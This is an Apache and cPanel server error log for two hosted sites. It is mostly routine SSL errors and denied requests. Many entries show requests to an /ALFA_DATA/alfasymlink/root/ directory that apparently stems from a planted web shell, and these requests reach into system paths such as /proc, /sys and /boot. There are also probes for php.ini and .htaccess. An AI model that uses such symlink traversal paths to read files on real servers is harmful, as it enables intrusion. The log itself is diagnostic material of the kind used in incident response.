[Sat Oct 24 22:50:58.190729 2026] [security2:error] [pid 2749158:tid 2749158] [client 54.147.238.89:10030] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/tty49/subsystem/tty60/subsystem/ttyS1/power/wakeup_active_count"] [unique_id "at1ukvAfy9bYoq3HUbAbtAAAAAY"]
[Sat Oct 24 22:51:06.184802 2026] [ssl:error] [pid 2749302:tid 2749302] (70014)End of file found: [client 98.82.214.73:23738] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:51:22.266864 2026] [ssl:error] [pid 2749126:tid 2749126] (70014)End of file found: [client 54.235.172.108:29800] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:51:30.190563 2026] [core:error] [pid 2748404:tid 2748404] (13)Permission denied: [client 54.163.136.244:28382] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event0/subsystem/input1/event1/device/device/subsystem/drivers/psmouse/serio1/driver/uevent
[Sat Oct 24 22:51:34.307805 2026] [core:error] [pid 2749126:tid 2749126] (13)Permission denied: [client 54.84.102.81:1418] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/device:0b/eject
[Sat Oct 24 22:51:38.759073 2026] [core:error] [pid 2748406:tid 2748406] (13)Permission denied: [client 185.191.171.13:26306] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/aio_kiocb/ctor
[Sat Oct 24 22:51:42.191842 2026] [ssl:error] [pid 2749302:tid 2749302] (70014)End of file found: [client 23.22.105.143:23010] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:51:58.183690 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 54.164.106.236:56424] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:51:59.508290 2026] [core:error] [pid 2749160:tid 2749160] (13)Permission denied: [client 185.191.171.7:39922] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/objs_per_slab
[Sat Oct 24 22:52:02.295560 2026] [ssl:error] [pid 2748410:tid 2748410] (5)Input/output error: [client 52.22.87.224:15500] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:52:17.742863 2026] [authz_core:error] [pid 2749160:tid 2749160] [client 192.241.134.160:59990] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: http://sherwinpinturas.com
[Sat Oct 24 22:52:30.188401 2026] [ssl:error] [pid 2748404:tid 2748404] (70014)End of file found: [client 3.81.253.213:42120] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:52:38.373194 2026] [ssl:error] [pid 2748406:tid 2748406] (70014)End of file found: [client 35.170.205.140:35913] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:52:42.188661 2026] [ssl:error] [pid 2749160:tid 2749160] (70014)End of file found: [client 98.83.178.66:30036] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:52:50.437765 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 23.23.99.55:45725] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:52:54.201394 2026] [ssl:error] [pid 2749302:tid 2749302] (70014)End of file found: [client 54.89.90.224:27772] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:52:58.403611 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 44.206.93.215:54805] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:53:10.202753 2026] [ssl:error] [pid 2749138:tid 2749138] (70014)End of file found: [client 54.210.152.179:26819] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:53:18.403679 2026] [ssl:error] [pid 2748404:tid 2748404] (70014)End of file found: [client 3.232.39.98:58402] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:53:22.366828 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 18.214.251.19:49691] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:53:27.961126 2026] [authz_core:error] [pid 2748406:tid 2748406] [client 34.79.196.85:63922] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 22:53:30.322889 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 98.82.38.120:31628] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:53:34.262017 2026] [ssl:error] [pid 2749138:tid 2749138] (70014)End of file found: [client 100.29.34.97:29428] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:53:46.362338 2026] [ssl:error] [pid 2749158:tid 2749158] (70014)End of file found: [client 18.235.158.19:58503] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:54:10.196479 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 184.73.47.24:6638] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:54:14.187825 2026] [ssl:error] [pid 2749126:tid 2749126] (70014)End of file found: [client 18.205.91.101:29577] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:54:18.257276 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 18.213.240.226:52945] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:54:22.182816 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 100.29.128.75:46764] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:54:26.285692 2026] [ssl:error] [pid 2748406:tid 2748406] (70014)End of file found: [client 34.194.233.48:52142] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:54:38.355655 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 52.44.148.203:39027] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:54:38.788705 2026] [core:error] [pid 2749126:tid 2749126] (13)Permission denied: [client 185.191.171.14:37950] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_rmap_item/poison
[Sat Oct 24 22:54:50.344781 2026] [ssl:error] [pid 2748406:tid 2748406] (70014)End of file found: [client 50.19.79.213:2822] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:54:54.740648 2026] [core:error] [pid 2749138:tid 2749138] (13)Permission denied: [client 18.215.112.101:16976] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:14/eject
[Sat Oct 24 22:54:58.224308 2026] [core:error] [pid 2749302:tid 2749302] (13)Permission denied: [client 44.205.180.155:55899] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/ttyS1/iomem_reg_shift
[Sat Oct 24 22:55:09.844928 2026] [core:error] [pid 2749120:tid 2749120] (13)Permission denied: [client 85.208.96.201:50002] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mm_struct/destroy_by_rcu
[Sat Oct 24 22:55:11.984767 2026] [core:error] [pid 2749138:tid 2749138] (13)Permission denied: [client 85.208.96.212:40546] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6-frags/remote_node_defrag_ratio
[Sat Oct 24 22:55:42.218089 2026] [ssl:error] [pid 2749302:tid 2749302] (70014)End of file found: [client 34.238.45.183:5769] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:55:46.180527 2026] [ssl:error] [pid 2748404:tid 2748404] (70014)End of file found: [client 52.203.237.170:62950] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:55:54.204754 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 54.85.7.119:23495] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:56:06.229086 2026] [ssl:error] [pid 2749160:tid 2749160] (70014)End of file found: [client 34.238.45.183:14148] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:56:10.663125 2026] [core:error] [pid 2748405:tid 2748405] (13)Permission denied: [client 52.70.209.13:26293] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/usb/devices/1-0:1.0/subsystem/drivers/usb/bind
[Sat Oct 24 22:56:14.346443 2026] [ssl:error] [pid 2749126:tid 2749126] (70014)End of file found: [client 3.225.45.252:65209] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:56:26.195736 2026] [ssl:error] [pid 2748406:tid 2748406] (70014)End of file found: [client 54.197.178.107:18926] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:56:30.196315 2026] [core:error] [pid 2749138:tid 2749138] (13)Permission denied: [client 54.243.63.52:62096] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/device:1e/subsystem/drivers/button/bind
[Sat Oct 24 22:56:38.224816 2026] [core:error] [pid 2749160:tid 2749160] (13)Permission denied: [client 23.21.228.180:60187] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/subsystem/drivers/ata_piix/0000:00:01.1/remove
[Sat Oct 24 22:56:42.875821 2026] [security2:error] [pid 2749158:tid 2749158] [client 190.28.115.234:42966] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at1v6vAfy9bYoq3HUbAbxAAAAAY"], referer: https://acquire.co.in/redirect.php?ref_host=llm-engineer-japan-marketing.xyz
[Sat Oct 24 22:56:42.877301 2026] [authz_core:error] [pid 2749158:tid 2749158] [client 190.28.115.234:42966] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini, referer: https://acquire.co.in/redirect.php?ref_host=llm-engineer-japan-marketing.xyz
[Sat Oct 24 22:56:46.340097 2026] [ssl:error] [pid 2749126:tid 2749126] (70014)End of file found: [client 23.21.227.240:64731] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:56:58.203375 2026] [ssl:error] [pid 2749138:tid 2749138] (70014)End of file found: [client 100.29.160.53:16893] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:57:02.258291 2026] [ssl:error] [pid 2749302:tid 2749302] (70014)End of file found: [client 18.213.27.222:8284] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:57:04.639298 2026] [core:error] [pid 2749160:tid 2749160] (13)Permission denied: [client 185.191.171.1:65204] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pool_workqueue/remote_node_defrag_ratio
[Sat Oct 24 22:57:22.352266 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 44.216.172.204:47105] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:57:30.437826 2026] [core:error] [pid 2748406:tid 2748406] (13)Permission denied: [client 35.172.125.172:11239] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/devices/0000:00:02.0/resource0
[Sat Oct 24 22:57:37.512984 2026] [core:error] [pid 2749160:tid 2749160] (13)Permission denied: [client 16.216.88.128:40960] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/boot/initramfs-0-rescue-93a3ad84fb099a1dbda616e2cd45e254.img
[Sat Oct 24 22:57:38.200011 2026] [security2:error] [pid 2748404:tid 2748404] [client 98.83.177.42:31394] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/PNP0A03:00/device:00/physical_node/driver/module/holders/"] [unique_id "at1wIiaQM5FksUWf32CMgQAAACk"]
[Sat Oct 24 22:57:38.200047 2026] [security2:error] [pid 2748404:tid 2748404] [client 98.83.177.42:31394] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/PNP0A03:00/device:00/physical_node/driver/module/holders/"] [unique_id "at1wIiaQM5FksUWf32CMgQAAACk"]
[Sat Oct 24 22:57:42.259135 2026] [ssl:error] [pid 2748405:tid 2748405] (5)Input/output error: [client 54.147.238.89:9268] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:57:50.446668 2026] [ssl:error] [pid 2748406:tid 2748406] (70014)End of file found: [client 34.196.114.170:9529] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:57:54.215040 2026] [ssl:error] [pid 2749302:tid 2749302] (70014)End of file found: [client 3.213.106.226:33095] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:57:58.204722 2026] [core:error] [pid 2749160:tid 2749160] (13)Permission denied: [client 3.221.222.168:8559] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:02/physical_node/subsystem/drivers/serial/unbind
[Sat Oct 24 22:58:06.228964 2026] [ssl:error] [pid 2749158:tid 2749158] (70014)End of file found: [client 52.2.4.213:31967] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:58:22.208275 2026] [ssl:error] [pid 2748404:tid 2748404] (70014)End of file found: [client 54.210.155.69:28089] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:58:26.207351 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 3.229.95.193:20885] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:58:30.250525 2026] [ssl:error] [pid 2749158:tid 2749158] (70014)End of file found: [client 44.212.106.171:30794] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:58:34.761471 2026] [core:crit] [pid 2748410:tid 2748410] (13)Permission denied: [client 45.135.193.198:58620] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 22:58:34.934567 2026] [authz_core:error] [pid 2749120:tid 2749120] [client 45.135.193.198:58634] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 22:58:38.248213 2026] [core:error] [pid 2748406:tid 2748406] (13)Permission denied: [client 54.167.32.123:49434] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/drivers/battery/bind
[Sat Oct 24 22:58:39.806503 2026] [core:crit] [pid 2749138:tid 2749138] (13)Permission denied: [client 45.135.193.198:58650] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 22:58:39.977234 2026] [authz_core:error] [pid 2749302:tid 2749302] [client 45.135.193.198:58654] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 22:58:42.197088 2026] [ssl:error] [pid 2749160:tid 2749160] (70014)End of file found: [client 3.216.13.10:40174] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:58:54.201176 2026] [security2:error] [pid 2749126:tid 2749126] [client 52.200.93.170:39244] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:0e/subsystem/devices/LNXCPU:01/physical_node/node0/memory13/"] [unique_id "at1wbi-6S8JbGHJWg8ouUwAAAAQ"]
[Sat Oct 24 22:58:54.201229 2026] [security2:error] [pid 2749126:tid 2749126] [client 52.200.93.170:39244] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:0e/subsystem/devices/LNXCPU:01/physical_node/node0/memory13/"] [unique_id "at1wbi-6S8JbGHJWg8ouUwAAAAQ"]
[Sat Oct 24 22:58:58.229561 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 44.214.19.8:6635] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:59:02.237453 2026] [ssl:error] [pid 2748406:tid 2748406] (70014)End of file found: [client 3.211.105.134:45740] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:59:06.246936 2026] [ssl:error] [pid 2749302:tid 2749302] (70014)End of file found: [client 44.223.232.55:49837] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:59:10.174368 2026] [ssl:error] [pid 2748404:tid 2748404] (70014)End of file found: [client 34.239.85.139:54377] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:59:22.265535 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 50.17.193.48:51674] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:59:26.343108 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 3.215.59.93:41647] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:59:32.573677 2026] [core:error] [pid 2749302:tid 2749302] (13)Permission denied: [client 85.208.96.199:48516] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dio/trace
[Sat Oct 24 22:59:38.375427 2026] [core:error] [pid 2748404:tid 2748404] (13)Permission denied: [client 18.214.124.6:57844] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/device:0d/eject
[Sat Oct 24 22:59:50.311022 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 52.70.209.13:40052] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:00:10.176388 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 54.163.136.244:17285] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:00:14.701900 2026] [core:error] [pid 2749138:tid 2749138] (13)Permission denied: [client 85.208.96.210:55892] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/key_jar/objs_per_slab
[Sat Oct 24 23:00:22.342819 2026] [core:error] [pid 2749160:tid 2749160] (13)Permission denied: [client 44.217.255.167:64554] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:03.0/subsystem/slots/12/module/uevent
[Sat Oct 24 23:00:26.213274 2026] [ssl:error] [pid 2749158:tid 2749158] (70014)End of file found: [client 52.3.102.51:4839] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:00:30.597732 2026] [ssl:error] [pid 2749126:tid 2749126] (70014)End of file found: [client 52.5.232.250:62676] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:00:34.883532 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 100.29.107.38:5092] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:00:38.197402 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 52.204.253.129:51189] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:00:42.220026 2026] [ssl:error] [pid 2749138:tid 2749138] (70014)End of file found: [client 3.213.85.234:6958] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:00:42.220209 2026] [security2:error] [pid 2749138:tid 2749138] [client 3.213.85.234:6958] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0d/subsystem/devices/device:00/power/runtime_suspended_time"] [unique_id "at1w2qcu9k8aHz4uSmmpQwAAAAU"]
[Sat Oct 24 23:00:42.220234 2026] [security2:error] [pid 2749138:tid 2749138] [client 3.213.85.234:6958] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0d/subsystem/devices/device:00/power/runtime_suspended_time"] [unique_id "at1w2qcu9k8aHz4uSmmpQwAAAAU"]
[Sat Oct 24 23:00:46.213926 2026] [ssl:error] [pid 2749302:tid 2749302] (70014)End of file found: [client 52.2.4.213:23633] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:00:50.210959 2026] [ssl:error] [pid 2749160:tid 2749160] (70014)End of file found: [client 3.89.176.255:8439] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:00:54.294475 2026] [ssl:error] [pid 2748404:tid 2748404] (70014)End of file found: [client 98.83.178.66:24962] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:01:05.992357 2026] [core:error] [pid 2749126:tid 2749126] (13)Permission denied: [client 185.191.171.14:15466] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/libata/sections/__bpf_raw_tp_map
[Sat Oct 24 23:01:06.190510 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 35.170.205.140:49427] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:01:14.356778 2026] [ssl:error] [pid 2748406:tid 2748406] (70014)End of file found: [client 54.204.12.115:27460] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:01:22.408887 2026] [ssl:error] [pid 2749160:tid 2749160] (70014)End of file found: [client 34.234.200.207:11217] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:01:34.549600 2026] [ssl:error] [pid 2749126:tid 2749126] (70014)End of file found: [client 54.197.82.195:30760] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:01:38.294818 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 3.216.13.10:5065] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:01:42.331791 2026] [core:error] [pid 2748406:tid 2748406] (13)Permission denied: [client 184.72.95.195:38395] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/subsystem/drivers/exar_serial/unbind
[Sat Oct 24 23:01:46.200427 2026] [ssl:error] [pid 2749138:tid 2749138] (70014)End of file found: [client 54.85.126.86:17327] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:01:50.400048 2026] [ssl:error] [pid 2749302:tid 2749302] (5)Input/output error: [client 18.213.70.100:60964] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:01:58.249698 2026] [ssl:error] [pid 2749158:tid 2749158] (70014)End of file found: [client 54.88.84.219:28603] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:02:14.229076 2026] [ssl:error] [pid 2749138:tid 2749138] (70014)End of file found: [client 34.192.67.98:61435] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:02:22.372886 2026] [core:error] [pid 2749158:tid 2749158] (13)Permission denied: [client 185.191.171.10:35396] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/trace
[Sat Oct 24 23:02:30.203705 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 34.224.132.215:58908] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:02:34.280404 2026] [core:error] [pid 2749126:tid 2749126] (13)Permission denied: [client 34.195.248.30:4209] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:15/subsystem/devices/device:0a/subsystem/drivers/battery/uevent
[Sat Oct 24 23:02:38.322345 2026] [core:error] [pid 2749120:tid 2749120] (13)Permission denied: [client 52.200.58.199:40556] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/PNP0501:00/subsystem/drivers/hpet/bind
[Sat Oct 24 23:02:50.429713 2026] [core:crit] [pid 2749302:tid 2749302] (13)Permission denied: [client 185.191.171.12:14676] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/run/backuply/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/run/backuply/' is executable
[Sat Oct 24 23:02:50.429791 2026] [core:crit] [pid 2749302:tid 2749302] (13)Permission denied: [client 185.191.171.12:14676] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/run/pure-ftpd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/run/pure-ftpd/' is executable
[Sat Oct 24 23:02:50.430417 2026] [core:crit] [pid 2749302:tid 2749302] (13)Permission denied: [client 185.191.171.12:14676] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/run/chkservd.services_suspend/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/run/chkservd.services_suspend/' is executable
[Sat Oct 24 23:02:50.430475 2026] [core:crit] [pid 2749302:tid 2749302] (13)Permission denied: [client 185.191.171.12:14676] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/run/restartsrv/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/run/restartsrv/' is executable
[Sat Oct 24 23:02:50.430492 2026] [core:crit] [pid 2749302:tid 2749302] (13)Permission denied: [client 185.191.171.12:14676] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/run/chrony/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/run/chrony/' is executable
[Sat Oct 24 23:02:50.431054 2026] [core:crit] [pid 2749302:tid 2749302] (13)Permission denied: [client 185.191.171.12:14676] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/run/rpcbind/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/run/rpcbind/' is executable
[Sat Oct 24 23:02:50.431678 2026] [core:crit] [pid 2749302:tid 2749302] (13)Permission denied: [client 185.191.171.12:14676] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/run/cryptsetup/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/run/cryptsetup/' is executable
[Sat Oct 24 23:02:50.431702 2026] [core:crit] [pid 2749302:tid 2749302] (13)Permission denied: [client 185.191.171.12:14676] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/run/apache2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/run/apache2/' is executable
[Sat Oct 24 23:02:54.176869 2026] [ssl:error] [pid 2748404:tid 2748404] (70014)End of file found: [client 54.147.182.90:14290] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:02:58.171188 2026] [ssl:error] [pid 2749158:tid 2749158] (70014)End of file found: [client 23.21.179.27:37198] AH02013: coalesce failed to read from data bucket
